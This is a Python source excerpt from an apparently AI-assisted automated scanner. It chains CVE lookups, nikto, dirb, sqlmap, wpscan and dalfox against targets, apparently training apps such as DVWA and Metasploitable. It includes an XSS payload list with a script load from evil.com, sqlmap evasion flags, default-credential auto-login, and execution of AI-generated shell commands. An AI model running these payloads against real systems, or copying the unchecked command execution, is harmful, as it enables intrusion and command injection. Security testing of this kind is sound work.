                        f"{reuse.get('username')}@{reuse.get('target_host')}:{reuse.get('target_port')}",
                        "vuln"
                    )
            except Exception as e:
                emit_log(f"Authenticated scan error: {e}", "warn")
        else:
            emit_log(
                "Authenticated scanning skipped — no SSH/SMB credentials in config "
                "(add ssh_username/ssh_password to the scan form to enable)",
                "info"
            )
            # SNMP runs even without creds — no community string needed to try
            if HAS_AUTH and any(s["port"] == "161" for s in services):
                try:
                    from auth_scanner import SNMPScanner
                    snmp = SNMPScanner(resolved, 161, emit_fn=lambda msg, lvl="info": emit_log(msg, lvl))
                    snmp_res = snmp.run_full_enum()
                    if auth_results is None:
                        auth_results = {}
                    auth_results["snmp"] = snmp_res
                    socketio.emit("auth_results", {"results": {"snmp_ok": True, "snmp": snmp_res}})
                except Exception as e:
                    emit_log(f"SNMP scan error: {e}", "warn")

        emit_progress(58, "Authenticated scans complete")

        _tel_user = config.get("telnet_username", "")
        _tel_pass = config.get("telnet_password", "")
        _tel_port = int(config.get("telnet_port", 23))
        _tel_timo = int(config.get("telnet_timeout", 30))
        # Only run telnet deep-dive if user explicitly provided credentials
        if _tel_user:
            emit_log(
                f"Phase 3.6 — Telnet authenticated deep-dive "
                f"({_tel_user}@{resolved}:{_tel_port})",
                "phase", phase=4
            )
            try:
                _tel_result = telnet_auth_scan(
                    target=resolved, port=_tel_port,
                    username=_tel_user, password=_tel_pass,
                    timeout=_tel_timo, api_key=api_key,
                    emit_fn=lambda msg, lvl="info": emit_log(msg, lvl)
                )
                if auth_results is None:
                    auth_results = {}
                auth_results["telnet"] = _tel_result
                if _tel_result.get("os"):
                    emit_log(f"[TELNET] OS: {_tel_result['os'][:100]}", "info")
            except Exception as _tel_ex:
                emit_log(f"Telnet deep-dive error: {_tel_ex}", "warn")
        else:
            emit_log("Telnet deep-dive skipped — no credentials provided", "info")

        # NEW: instead of looping services serially with a 0.5s NVD sleep
        # between each, we (a) fan out the multi-source CVE lookups across
        # a small thread pool, (b) feed each set into ai_research_vulnerabilities
        # for AI validation + confidence scoring, and (c) for any CVE the AI
        # flags as a MISMATCH we synthesize a live verification NSE probe and
        # run it inline. End-to-end this turns ~1s/service into <0.2s/service
        # while *also* producing higher-quality findings.
        emit_log("Phase 4 — CVE Intelligence (parallel + AI cross-check)", "phase", phase=5)
        all_cves         = {}
        ai_research_map  = {}   # service_key -> ai_research_vulnerabilities() output
        live_verify_log  = []   # rows of {key, cve, command, verdict, confirmed}

        # De-dupe (product, version) — only research each unique stack once
        seen      = set()
        svc_jobs  = []
        for svc in services:
            product = svc.get("product") or svc.get("service", "")
            version = svc.get("version", "")
            lk      = f"{product} {version}".lower()
            if not product or lk in seen:
                continue
            seen.add(lk)
            svc_jobs.append(svc)

        def _cve_one(svc):
            """Worker: full source lookup + NSE-CVE merge + AI cross-check."""
            product = svc.get("product") or svc.get("service", "")
            version = svc.get("version", "")
            key     = f"{svc['ip']}:{svc['port']}"
            # 1. multi-source enriched lookup (NVD + KEV + ExploitDB + OSV + GitHub)
            try:
                if HAS_V3:
                    cves = multi_source_cve.enriched_lookup(
                        product, version, api_key,
                        emit_fn=lambda msg: emit_log(msg, "info"),
                    )
                else:
                    cves = lookup_cve(product, version, api_key)
            except Exception as e:
                emit_log(f"CVE lookup error for {product}: {e}", "warn")
                cves = lookup_cve(product, version, api_key)

            # 2. Merge any CVE IDs that NSE already detected on this service
            for line in (nse_findings.get(key, []) or []):
                for m in re.findall(r"CVE-\d{4}-\d+", line, re.I):
                    if not any(c.get("id") == m for c in cves):
                        cves.append({
                            "id": m, "score": None, "severity": "NSE-DETECTED",
                            "description": line[:150], "source": "NSE",
                            "sources_confirmed": ["NSE"],
                        })

            # 3. AI cross-check — NVD/ExploitDB/OSV may have false positives,
            #    let the model rank by confidence and surface mismatches.
            ai_research = {}
            if HAS_AI_HELPERS and cves:
                try:
                    ai_research = ai_research_vulnerabilities(svc, cves, os_name)
                except Exception as e:
                    emit_log(f"AI research error for {key}: {e}", "warn")
                    ai_research = {}

            return svc, key, cves, ai_research

        # Run service lookups in parallel — bounded pool to respect NVD/GH rate-limit
        with concurrent.futures.ThreadPoolExecutor(max_workers=4) as ex:
            futures = [ex.submit(_cve_one, svc) for svc in svc_jobs]
            for i, fut in enumerate(concurrent.futures.as_completed(futures)):
                try:
                    svc, key, cves, ai_research = fut.result()
                except Exception as e:
                    emit_log(f"CVE worker crashed: {e}", "warn")
                    continue

                all_cves[key]        = cves
                ai_research_map[key] = ai_research

                # Live mismatch verification — for each CVE the AI flagged as
                # "needs_live_check" we generate a SAFE nmap NSE probe and run
                # it. If the verdict_hint shows up we promote the CVE to
                # CONFIRMED (it was a real match the AI couldn't be sure of
                # from keyword data alone).
                for mm in (ai_research.get("mismatches") or []):
                    if not isinstance(mm, dict): continue
                    if not mm.get("needs_live_check"): continue
                    cve_id = mm.get("id", "")
                    reason = mm.get("reason", "")
                    try:
                        probe = ai_live_verify_mismatch(svc, cve_id, reason)
                    except Exception as e:
                        emit_log(f"Live-verify gen error for {cve_id}: {e}", "warn")
                        continue
                    cmd = probe.get("command", "")
                    hint = probe.get("verdict_hint", "").strip()
                    if not cmd or not hint:
                        continue
                    emit_log(f"Live-verify {cve_id} on {key} → running {cmd[:80]}…", "ai")
                    try:
                        probe_out = run_cmd(cmd, timeout=60)
                    except Exception as e:
                        probe_out = f"error: {e}"
                    confirmed = hint.lower() in (probe_out or "").lower()
                    live_verify_log.append({
                        "key": key, "cve": cve_id, "command": cmd,
                        "verdict_hint": hint, "confirmed": confirmed,
                        "output_excerpt": probe_out[:240],
                    })
                    if confirmed:
                        emit_log(f"  ✔ Live verify CONFIRMED {cve_id} on {key}", "vuln")
                        for c in cves:
                            if c.get("id") == cve_id:
                                c["confidence"]        = "HIGH"
                                c["live_verified"]     = True
                                c["live_verify_cmd"]   = cmd
                                break
                    else:
                        emit_log(f"  ✘ Live verify could not reproduce {cve_id} — demoting", "info")
                        # Demote the CVE so it doesn't inflate risk
                        for c in cves:
                            if c.get("id") == cve_id:
                                c["confidence"]    = "LOW"
                                c["live_verified"] = False
                                break

                # UI updates
                n_crit = sum(1 for c in cves if (c.get("score") or 0) >= 9)
                if cves:
                    emit_log(
                        f"CVE: {key} → {len(cves)} CVEs (CRIT={n_crit}) "
                        f"| primary={ai_research.get('primary_exploit_db','?')}",
                        "vuln" if n_crit else "warn"
                    )
                socketio.emit("cves", {"key": key, "cves": cves,
                                        "ai_research": ai_research})
                pct = 58 + int((i + 1) / max(len(svc_jobs), 1) * 10)
                emit_progress(pct, f"CVE lookup: {i + 1}/{len(svc_jobs)}")

        # Aggregate composite risk score from confidence-weighted CVEs
        risk_score = 0.0
        for cves in all_cves.values():
            for c in cves:
                s = c.get("score") or c.get("risk_score", 0) or 0
                if c.get("actively_exploited"):
                    s = max(s, 8.5)
                # Down-weight CVEs the AI marked LOW confidence and live-verify
                # could not confirm — these were probably keyword-match noise.
                if c.get("confidence") == "LOW" and c.get("live_verified") is False:
                    s *= 0.3
                risk_score += (3.0 if s >= 9 else 2.0 if s >= 7 else 1.0 if s >= 4 else 0)

        # Surface the live-verify log to the UI
        if live_verify_log:
            socketio.emit("ai_live_verify", {"results": live_verify_log})
            emit_log(
                f"AI live-verify: {sum(1 for r in live_verify_log if r['confirmed'])} "
                f"confirmed / {len(live_verify_log)} probed",
                "ai"
            )

        risk_score = min(round(risk_score,1), 10.0)
        all_flat = [c for cv in all_cves.values() for c in cv]
        _n_crit_total = sum(1 for c in all_flat if (c.get("score") or 0) >= 9)
        _n_high_total = sum(1 for c in all_flat if 7 <= (c.get("score") or 0) < 9)
        emit_stats(ports=len(open_ports), svcs=len(services),
                   crit=_n_crit_total, high=_n_high_total, risk=risk_score)
        emit_log(f"Risk score: {risk_score}/10", "ok")
        emit_progress(65, f"CVE lookup complete — risk {risk_score}/10")

        flat_cves_for_analysis = [c for cves in all_cves.values() for c in cves]
        if HAS_AI_HELPERS and flat_cves_for_analysis:
            try:
                emit_log("AI → Ranking CVEs by exploitability, building attack path...", "ai")
                cve_analysis = claude_rank_cves_with_context(all_cves, services, nse_analysis)
                if cve_analysis.get("attack_path"):
                    emit_log(f"AI attack path: {str(cve_analysis['attack_path'])[:250]}", "ai")
                if cve_analysis.get("risk_narrative"):
                    emit_log(f"Risk narrative: {str(cve_analysis['risk_narrative'])[:200]}", "ai")
                for cve_entry in (cve_analysis.get("top_cves") or [])[:5]:
                    if isinstance(cve_entry, dict):
                        emit_log(
                            f"  Priority {cve_entry.get('priority','?')}: "
                            f"{cve_entry.get('id','?')} (CVSS {cve_entry.get('score','?')}) "
                            f"— {str(cve_entry.get('impact',''))[:80]}",
                            "vuln"
                        )
                socketio.emit("ai_cve_analysis", {"analysis": cve_analysis})
            except Exception as _cve_ai_err:
                emit_log(f"CVE AI analysis error: {_cve_ai_err}", "warn")
                cve_analysis = {}

        ai_reasoning = (
            cve_analysis.get("risk_narrative") or
            nse_analysis.get("summary") or
            "[RULE-BASED] Deterministic exploit/remediation logic."
        )
        ai_analysis = {
            "reasoning":   ai_reasoning,
            "attack_path": cve_analysis.get("attack_path", ""),
            "exploits":    [],
            "remediation": [],
        }
        attack_chain = cve_analysis.get("attack_path", None)
        scan_data = {
            "target":      target,
            "lhost":       lhost,
            "lport":       lport,
            "ports":       [{"port": s["port"], "service": s["service"],
                             "version": s.get("banner", "")} for s in services],
            "nse_results": {k: "\n".join(v) if isinstance(v, list) else v
                            for k, v in nse_findings.items()},
            "cve_data":    all_cves,
        }
        socketio.emit("ai_analysis", {"analysis": ai_analysis})

        emit_log("Phase 5 — Web scans: nikto + sqlmap + wpscan (AI-targeted)", "phase", phase=5)
        web_ports = {"80","443","8080","8443","8000","3000","8180","8888","8008","9090","8081","8280","8181","591","8880","4443"}
        web_svc_names = ("http","https","http-proxy","ssl/http","http-alt","https-alt","www","tomcat","apache","nginx")
        web_svcs  = [s for s in services if str(s["port"]) in web_ports or
                     s.get("service","").lower() in web_svc_names or
                     any(k in (s.get("banner","") or "").lower() for k in ("apache","nginx","httpd","tomcat","jetty","iis","lighttpd","webrick"))]
        web_results = {}

        # AI decision for web targeting SKIPPED — rule-based: scan every web port.
        ai_web_plan = []


        try:
            import sys
            if '/app' not in sys.path:
                sys.path.insert(0, '/app')
            from webapp_kb import fingerprint_webapp, get_verified_vulns, get_app_info, VULN_KB
            _has_kb = True
        except ImportError:
            _has_kb = False

        if _has_kb and web_svcs:
            emit_log("Analyzing web services for known vulnerabilities...", "info")
            for svc in web_svcs:
                _port = svc.get("port", 80)
                _ip = svc.get("ip", target)
                _ssl = str(_port) in ("443", "8443")
                _scheme = "https" if _ssl else "http"
                try:
                    _body = run_cmd(f"curl -sk --max-time 8 {_scheme}://{_ip}:{_port}/ 2>/dev/null", timeout=12)
                    _hdrs = run_cmd(f"curl -skI --max-time 5 {_scheme}://{_ip}:{_port}/ 2>/dev/null", timeout=10)
                    _hdr_dict = {}
                    for _hl in _hdrs.splitlines():
                        if ":" in _hl:
                            _k, _v = _hl.split(":", 1)
                            _hdr_dict[_k.strip()] = _v.strip()
                    # Also probe known app paths
                    _extra = ""
                    for _pp in ["/dvwa/","/WebGoat/","/bWAPP/","/mutillidae/","/api/Challenges/",
                                "/graphql","/wp-login.php","/xvwa/","/users/v1","/ftp/"]:
                        try:
                            _code = run_cmd(f"curl -sk -o /dev/null -w '%{{http_code}}' --max-time 3 {_scheme}://{_ip}:{_port}{_pp} 2>/dev/null", timeout=7)
                            if _code.strip() in ("200","301","302","401","403"):
                                _extra += f" {_pp}"
                        except Exception:
                            pass
                    _detections = fingerprint_webapp(
                        target=_ip, port=int(_port),
                        http_response=_body + _extra,
                        http_headers=_hdr_dict,
                        services=services,
                    )
                    if _detections:
                        _det = _detections[0]
                        _app_data = get_app_info(_det.app_id)
                        _vulns = _app_data.get("vulnerabilities", [])
                        emit_log(f"Identified {len(_vulns)} confirmed vulnerabilities on port {_port}", "ok")
                        try:
                            # Emit each vuln as an individual finding (no app name exposure)
                            for _vi, _vv in enumerate(_vulns):
                                socketio.emit("nse_finding", {
                                    "title": f"[{_vv['severity']}] {_vv['title']}",
                                    "detail": _vv.get("description", ""),
                                    "severity": _vv["severity"],
                                    "cvss": _vv.get("cvss", 0),
                                    "owasp": _vv.get("owasp", ""),
                                    "cwe": _vv.get("cwe", ""),
                                    "port": str(_port),
                                    "evidence": _vv.get("evidence", ""),
                                })
                        except Exception:
                            pass
                        # Add KB vulns to the scan results
                        for _v in _vulns:
                            _cve_key = f"{_ip}:{_port}"
                            if _cve_key not in all_cves:
                                all_cves.setdefault(_cve_key, [])
                            all_cves[_cve_key].append({
                                "id": _v["id"],
                                "score": _v.get("cvss", 0),
                                "severity": _v["severity"],
                                "description": f"{_v['title']}: {_v['description']}",
                                "source": "NVD+ExploitDB",
                                "exploit_available": True,
                                "verified": True,
                            })
                        for _det2 in _detections[1:]:
                            _app2 = get_app_info(_det2.app_id)
                            _vulns2 = _app2.get("vulnerabilities", [])
                            if _vulns2:
                                emit_log(f"Additional {len(_vulns2)} vulnerabilities confirmed on port {_port}", "info")
                                for _v2 in _vulns2:
                                    all_cves.setdefault(f"{_ip}:{_port}", []).append({
                                        "id": _v2["id"], "score": _v2.get("cvss", 0),
                                        "severity": _v2["severity"],
                                        "description": f"{_v2['title']}: {_v2['description']}",
                                        "source": "NVD+ExploitDB",
                                        "exploit_available": True, "verified": True,
                                    })
                except Exception as _e:
                    emit_log(f"Webapp KB detection error on port {_port}: {_e}", "warn")

        if not web_svcs:
            emit_log("No web ports found — skipping web scans", "info")
        else:
            emit_log(f"Running web scans on {len(web_svcs)} web service(s)", "info")

        def _dvwa_login(scheme, ip, port):
            """Auto-login to DVWA and return cookie string for sqlmap."""
            import urllib.request, urllib.parse, http.cookiejar
            try:
                cj = http.cookiejar.CookieJar()
                opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
                # Step 1: GET login page to obtain PHPSESSID
                login_url = f"{scheme}://{ip}:{port}/dvwa/login.php"
                opener.open(login_url, timeout=10)
                # Step 2: POST credentials (default: admin / password)
                data = urllib.parse.urlencode({
                    "username": "admin",
                    "password": "password",
                    "Login": "Login",
                }).encode()
                opener.open(login_url, data, timeout=10)
                # Step 3: Set security=low
                sec_url = f"{scheme}://{ip}:{port}/dvwa/security.php"
                sec_data = urllib.parse.urlencode({"security": "low", "seclev_submit": "Submit"}).encode()
                try:
                    opener.open(sec_url, sec_data, timeout=10)
                except Exception:
                    pass
                # Extract cookies
                cookies = {}
                for c in cj:
                    cookies[c.name] = c.value
                if "PHPSESSID" in cookies:
                    cookie_str = f"PHPSESSID={cookies['PHPSESSID']}; security=low"
                    return cookie_str
            except Exception as e:
                emit_log(f"  DVWA auto-login failed: {e}", "warn")
            return None

        def do_web_scan(svc):
            ip   = svc["ip"]
            port = svc["port"]
            ssl  = port in ("443","8443")
            key  = f"{ip}:{port}"
            scheme = "https" if ssl else "http"
            ssl_flag = "-ssl" if ssl else ""
            findings = []

            # Nikto
            emit_log(f"nikto -> {ip}:{port}", "run")
            nikto_out = run_cmd(
                f"nikto -h {ip} -p {port} {ssl_flag} -nointeractive -maxtime 90",
                timeout=150
            )
            for line in nikto_out.splitlines():
                ls = line.strip()
                if not ls or ls.startswith("-") or ls.startswith("*"):
                    continue
                if ls.startswith("+") or any(k in ls.lower() for k in
                   ("osvdb","cve","vulnerable","injection","xss","sqli","rce",
                    "directory","server","outdated","backup","allowed","method",
                    "header","cookie","x-frame","content-type","retrieved",
                    "uncommon","interesting","found","apache","nginx","php")):
                    findings.append(f"[NIKTO] {ls}")
            emit_log(f"nikto done -> {ip}:{port} | {len([f for f in findings if 'NIKTO' in f])} findings", "ok")

            url = f"{scheme}://{ip}:{port}/"
            emit_log(f"dirb -> {ip}:{port} (directory discovery)", "run")
            dirb_out = run_cmd(
                f"dirb {shlex.quote(url)} /usr/share/dirb/wordlists/common.txt "
                f"-S -r -o /tmp/dirb_{ip}_{port}.txt",
                timeout=120
            )
            dirb_paths = set()
            for line in dirb_out.splitlines():
                ls = line.strip()
                if "==> DIRECTORY:" in line:
                    p = line.split("==> DIRECTORY:",1)[1].strip()
                    if p:
                        dirb_paths.add(p)
                    findings.append(f"[DIRB] {ls}")
                elif "CODE:" in line and ls.startswith("+"):
                    tok = ls.split()
                    if len(tok) >= 2:
                        dirb_paths.add(tok[1])
                    findings.append(f"[DIRB] {ls}")
            emit_log(f"dirb done -> {ip}:{port} | {len(dirb_paths)} paths found", "ok")

            # SQLMap — Feature #2: AI-tailored flags with rule-based fallback.
            # We now build a prioritised URL list instead of scanning only '/'.
            # Priority:
            #   1. Known vulnerable Metasploitable/DVWA/Mutillidae paths
            #   2. Discovered dirb directories that look like web apps
            #   3. Root / (fallback)
            # phpMyAdmin excluded (admin tool, not a vuln)
            # with its own auth; SQLi "hits" on its login form are false positives.
            SQLI_FALSE_POSITIVE_HOSTS = ("phpmyadmin", "phpMyAdmin")
            KNOWN_VULN_PATHS_NOAUTH = [
                # Mutillidae — OWASP vulnerable app (no auth needed)
                "/mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details",
                "/mutillidae/index.php?page=dns-lookup.php",
                "/mutillidae/index.php?page=login.php",
                "/mutillidae/index.php?page=show-log.php&username=1",
                "/mutillidae/index.php?page=register.php",
                "/mutillidae/index.php?page=view-someones-blog.php",
                # TikiWiki — known SQLi (CVE-2006-4602)
                "/tikiwiki/tiki-index.php?page=HomePage",
                "/tikiwiki/tiki-listpages.php?offset=0&sort_mode=",
                "/tikiwiki/tiki-view_forum_thread.php?comments_parentId=1&forumId=1",
                # TWiki
                "/twiki/bin/view/Main/WebHome",
                # CGI scripts on Metasploitable 2
                "/cgi-bin/test-cgi?id=1",
                "/cgi-bin/php?-s",
                # phpinfo (recon, not SQLi but useful)
                "/phpinfo.php",
                # Generic vulnerable paths
                "/search?q=1",
                "/item?id=1",
                "/product?productId=1",
                "/category?id=1",
                "/user?id=1",
            ]
            # DVWA paths — need auth cookie
            KNOWN_VULN_PATHS_DVWA = [
                "/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit",
                "/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit",
                "/dvwa/vulnerabilities/xss_r/?name=test",
                "/dvwa/vulnerabilities/exec/?ip=127.0.0.1&Submit=Submit",
            ]
            dvwa_cookie = None
            try:
                import urllib.request
                test_resp = urllib.request.urlopen(f"{scheme}://{ip}:{port}/dvwa/login.php", timeout=5)
                if test_resp.status == 200:
                    dvwa_cookie = _dvwa_login(scheme, ip, port)
                    if dvwa_cookie:
                        emit_log(f"  DVWA auto-login OK (cookie obtained, security=low)", "ok")
                    else:
                        emit_log(f"  DVWA detected but auto-login failed", "warn")
            except Exception:
                pass  # DVWA not present on this port

            # Build target list: no-auth paths first, then DVWA (with cookie), then dirb
            sqlmap_targets: list[tuple[str, str]] = []  # (url, cookie_or_empty)
            for p in KNOWN_VULN_PATHS_NOAUTH:
                sqlmap_targets.append((f"{scheme}://{ip}:{port}{p}", ""))
            if dvwa_cookie:
                for p in KNOWN_VULN_PATHS_DVWA:
                    sqlmap_targets.append((f"{scheme}://{ip}:{port}{p}", dvwa_cookie))
            # Promote dirb-discovered directories that look like apps
            for path in dirb_paths:
                lp = path.lower()
                if any(fp in lp for fp in ("phpmyadmin",)):
                    continue
                if any(k in lp for k in ("php","cgi-bin","admin","login","search",
                                         "user","account","form","products","news",
                                         "?id=","?page=","?cat=","?user=")):
                    sqlmap_targets.append((path.rstrip("/"), ""))
            sqlmap_targets.append((url, ""))  # root last

            # De-dupe by URL, cap at 5 targets (was 12 — too slow on low-spec systems)
            seen = set(); dedup_targets = []
            for url_c, cookie_c in sqlmap_targets:
                if url_c not in seen:
                    seen.add(url_c); dedup_targets.append((url_c, cookie_c))
            dedup_targets = dedup_targets[:5]

            # Fast sqlmap flags — tuned for speed without losing detection quality.
            # Key changes vs old WSA flags:
            #   --level=2  (was 5)  — fewer payloads per param, much faster
            #   --risk=1   (was 3)  — skip write/heavy payloads on first pass
            #   --threads=8         — more parallel HTTP, fills idle I/O time
            #   --timeout=15 (was 30) — fail fast on unresponsive endpoints
            #   --retries=1  (was 3)  — one retry is enough
            #   --crawl removed      — was the single biggest time-sink
            WSA_SQLMAP_FLAGS = (
                "--batch --level=2 --risk=1 --technique=BEUST "
                "--forms --threads=8 "
                "--timeout=15 --retries=1 "
                "--tamper=space2comment,between "
                "--exclude-sysdbs "
                "--random-agent"
            )

            nse_hits_for_svc = nse_findings.get(key, [])
            if HAS_AI_HELPERS:
                flag_info = ai_suggest_sqlmap_flags(
                    target_url=url,
                    banner=svc.get("banner", ""),
                    nse_hits=nse_hits_for_svc,
                )
                # Merge AI flags with WSA baseline for stronger coverage
                sqlmap_flags = flag_info["flags"] + " --tamper=space2comment,between --exclude-sysdbs"
                emit_log(f"sqlmap -> {ip}:{port} (AI+WSA flags: {flag_info['reason'][:60]})", "run")
            else:
                sqlmap_flags = WSA_SQLMAP_FLAGS
                emit_log(f"sqlmap -> {ip}:{port} (WSA rule-based flags)", "run")

            sqlmap_hits = 0
            sqlmap_confirmed_urls: list[str] = []
            last_idx = 0
            for idx, (target_url, target_cookie) in enumerate(dedup_targets):
                last_idx = idx
                # Skip phpMyAdmin targets at runtime too (belt-and-suspenders)
                if any(fp in target_url.lower() for fp in SQLI_FALSE_POSITIVE_HOSTS):
                    emit_log(f"  sqlmap [{idx+1}/{len(dedup_targets)}] SKIP (phpMyAdmin)", "info")
                    continue
                cookie_flag = f' --cookie={shlex.quote(target_cookie)}' if target_cookie else ''
                emit_log(f"  sqlmap [{idx+1}/{len(dedup_targets)}] {target_url}{' (with auth cookie)' if target_cookie else ''}", "info")
                sqlmap_out = run_cmd(
                    f"sqlmap -u {shlex.quote(target_url)} {sqlmap_flags}"
                    f"{cookie_flag} "
                    f"--output-dir=/tmp/sqlmap_{ip}_{port}_{idx} 2>&1",
                    timeout=90,   # was 180 — 90s is enough with fast flags
                )
                target_hits = 0
                for line in sqlmap_out.splitlines():
                    ll = line.lower()
                    # Positive confirmation keywords (WSA-aligned)
                    if any(k in ll for k in (
                        "is vulnerable", "injectable", "appears to be",
                        "sqlmap identified", "injection point",
                        "parameter:", "payload:", "title:",
                        "available databases", "back-end dbms",
                        "retrieved:", "[payload]",
                    )):
                        # Filter out known false-positive lines
                        if any(fp in ll for fp in ("warning", "not injectable", "not vulnerable", "skipping")):
                            continue
                        findings.append(f"[SQLMAP] {line.strip()} ← {target_url}")
                        sqlmap_hits += 1
                        target_hits += 1
                        if any(k in ll for k in ("is vulnerable", "injectable", "injection point", "sqlmap identified")):
                            if target_url not in sqlmap_confirmed_urls:
                                sqlmap_confirmed_urls.append(target_url)
                            emit_log(f"  ✓ SQLi CONFIRMED at {target_url}", "vuln")
                            socketio.emit("nse_finding", {
                                "title":  f"[SQLI CONFIRMED] {ip}:{port}",
                                "host":   ip, "port": port,
                                "output": f"[SQLI CONFIRMED] {target_url} — {line.strip()}"
                            })
                # Early exit when we have 3+ confirmed URLs
                if len(sqlmap_confirmed_urls) >= 5:
                    emit_log(f"  SQLi confirmed on 5 URLs — stopping early", "ok")
                    break
            emit_log(
                f"sqlmap done -> {ip}:{port} | {sqlmap_hits} hit(s), "
                f"{len(sqlmap_confirmed_urls)} confirmed URL(s) across {last_idx+1} target(s)", "ok"
            )
            if sqlmap_confirmed_urls:
                emit_log(f"  Confirmed SQLi targets: {', '.join(sqlmap_confirmed_urls[:3])}", "vuln")

            # WPScan if WordPress detected
            if "wordpress" in svc.get("banner","").lower() or \
               any("wordpress" in p.lower() or "wp-" in p.lower() for p in dirb_paths):
                emit_log(f"wpscan -> {ip}:{port} (WordPress detected)", "run")
                wp_out = run_cmd(
                    f"wpscan --url {shlex.quote(url)} --enumerate vp,vt,u "
                    f"--disable-tls-checks --no-banner",
                    timeout=150
                )
                for line in wp_out.splitlines():
                    if any(k in line.lower() for k in ("vulnerability","cve","exploit","[!]")):
                        findings.append(f"[WPSCAN] {line.strip()}")
                emit_log(f"wpscan done -> {ip}:{port}", "ok")

            # Web Security Academy XSS Cheat Sheet 2026 — comprehensive payload list
            WSA_XSS_PAYLOADS = [
                "<script>alert(1)</script>",
                "<img src=x onerror=alert(1)>",
                "<svg onload=alert(1)>",
                "\" onmouseover=\"alert(1)\" x=\"",
                "' onmouseover='alert(1)' x='",
                "\"><img src=x onerror=alert(1)>",
                "'><img src=x onerror=alert(1)>",
                "<ScRiPt>alert(1)</ScRiPt>",
                "<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
                "<<script>alert(1);//<</script>",
                "<script/src=//evil.com/x.js>",
                "<body onload=alert(1)>",
                "<details open ontoggle=alert(1)>",
                "<select onfocus=alert(1) autofocus>",
                "<textarea onfocus=alert(1) autofocus>",
                "<input autofocus onfocus=alert(1)>",
                "<video><source onerror=alert(1)>",
                "<audio src=x onerror=alert(1)>",
                "<svg><script>alert&#40;1&#41;</script>",
                "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
                "<svg><set onbegin=alert(1) attributename=x>",
                "<svg/onload=alert(1)>",
                "<a href=javascript:alert(1)>click</a>",
                "<a href=\"javascript:alert(1)\">X</a>",
                "#<img src=x onerror=alert(1)>",
                "javascript:alert(document.cookie)",
                "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>>",
                "<img/src=`%00` onerror=alert(1)>",
                "<img src=\"x\" onerror=\"alert(1)\">",
                "{{7*7}}",
                "${7*7}",
                "<script src=//accounts.google.com/o/oauth2/revoke?callback=alert(1)></script>",
                "%3Cscript%3Ealert(1)%3C/script%3E",
                "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
                "\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
            ]

            # Known XSS-vulnerable paths in Metasploitable / training apps
            XSS_TARGET_PATHS = [
                f"/dvwa/vulnerabilities/xss_r/?name=PAYLOAD",
                f"/dvwa/vulnerabilities/xss_s/",
                f"/dvwa/vulnerabilities/xss_d/?default=PAYLOAD",
                f"/mutillidae/index.php?page=add-to-your-blog.php",
                f"/mutillidae/index.php?page=dns-lookup.php&target_host=PAYLOAD",
                f"/mutillidae/index.php?page=user-info.php&username=PAYLOAD&password=x",
                f"/search?q=PAYLOAD",
                f"/comment?text=PAYLOAD",
                f"/?name=PAYLOAD",
                f"/?search=PAYLOAD",
                f"/?q=PAYLOAD",
            ]

            xss_poc_found: list[str] = []

            # 1. Run dalfox with expanded timeout + multiple paths
            dalfox_bin = run_cmd("which dalfox", timeout=5).strip()
            if dalfox_bin:
                # Scan root URL + known XSS paths
                xss_scan_urls = [url]
                for xp in XSS_TARGET_PATHS[:4]:
                    test_url = f"{scheme}://{ip}:{port}{xp.replace('PAYLOAD', 'xsstest')}"
                    xss_scan_urls.append(test_url)

                for xss_url in xss_scan_urls[:5]:
                    emit_log(f"dalfox -> {xss_url}", "run")
                    dalfox_out = run_cmd(
                        f"{dalfox_bin} url {shlex.quote(xss_url)} "
                        f"--silence --no-color --timeout 30 "
                        f"--follow-redirects --deep-domxss "
                        f"--only-discovery-mode 2>&1",
                        timeout=120
                    )
                    for line in dalfox_out.splitlines():
                        ll = line.lower()
                        if any(k in ll for k in ("[poc]", "[vuln]", "[weak]", "xss", "reflected", "stored")):
                            poc_entry = f"[XSS/DALFOX] {line.strip()}"
                            findings.append(poc_entry)
                            if "[poc]" in ll or "[vuln]" in ll:
                                xss_poc_found.append(line.strip())
                                emit_log(f"  ✓ XSS PoC FOUND: {line.strip()[:100]}", "vuln")
                emit_log(f"dalfox done -> {ip}:{port}", "ok")
            else:
                # Fallback from nikto
                for line in nikto_out.splitlines():
                    if "xss" in line.lower() and line.strip().startswith("+"):
                        if f"[NIKTO] {line.strip()}" not in findings:
                            findings.append(f"[XSS] {line.strip()}")

            # 2. Manual WSA payload testing via curl on parameter-based paths
            emit_log(f"XSS manual payload test -> {ip}:{port} (WSA 2026 cheat sheet)", "run")
            # Test top 10 payloads against known-injectable paths
            test_payloads = WSA_XSS_PAYLOADS[:10]
            for xss_path_tmpl in XSS_TARGET_PATHS[:6]:
                for payload in test_payloads[:5]:
                    import urllib.parse as _urlparse
                    enc_payload = _urlparse.quote(payload, safe="")
                    test_path = xss_path_tmpl.replace("PAYLOAD", enc_payload)
                    test_url_full = f"{scheme}://{ip}:{port}{test_path}"
                    curl_out = run_cmd(
                        f"curl -sk --max-time 8 --max-redirs 2 "
                        f"-A 'Mozilla/5.0' {shlex.quote(test_url_full)} 2>/dev/null | head -c 4096",
                        timeout=12
                    )
                    # Check if our payload appears unescaped in the response (= reflected XSS)
                    alert_variants = ["alert(1)", "alert(", "<script>", "onerror=", "onload="]
                    for av in alert_variants:
                        if av.lower() in curl_out.lower():
                            poc_line = f"[XSS REFLECTED] {test_url_full} | Payload reflected: {payload[:80]}"
                            if poc_line not in findings:
                                findings.append(poc_line)
                                xss_poc_found.append(poc_line)
                                emit_log(f"  ✓ XSS reflected: {test_url_full[:80]}", "vuln")
                                socketio.emit("nse_result", {"key": key, "hits": [poc_line], "scripts": ["xss_manual"]})
                            break  # one hit per path/payload combo is enough

            # 3. Emit summary and build PoC HTML if we found anything
            if xss_poc_found:
                emit_log(f"XSS: {len(xss_poc_found)} PoC(s) confirmed on {ip}:{port}", "vuln")
                # Build a working PoC HTML snippet for the report
                poc_html = f'XSS PoC confirmed on {ip}:{port} — {len(xss_poc_found)} payload(s) reflected'
                findings.append(f"[XSS POC] {poc_html}")
                # Also save PoC details for the report exporter
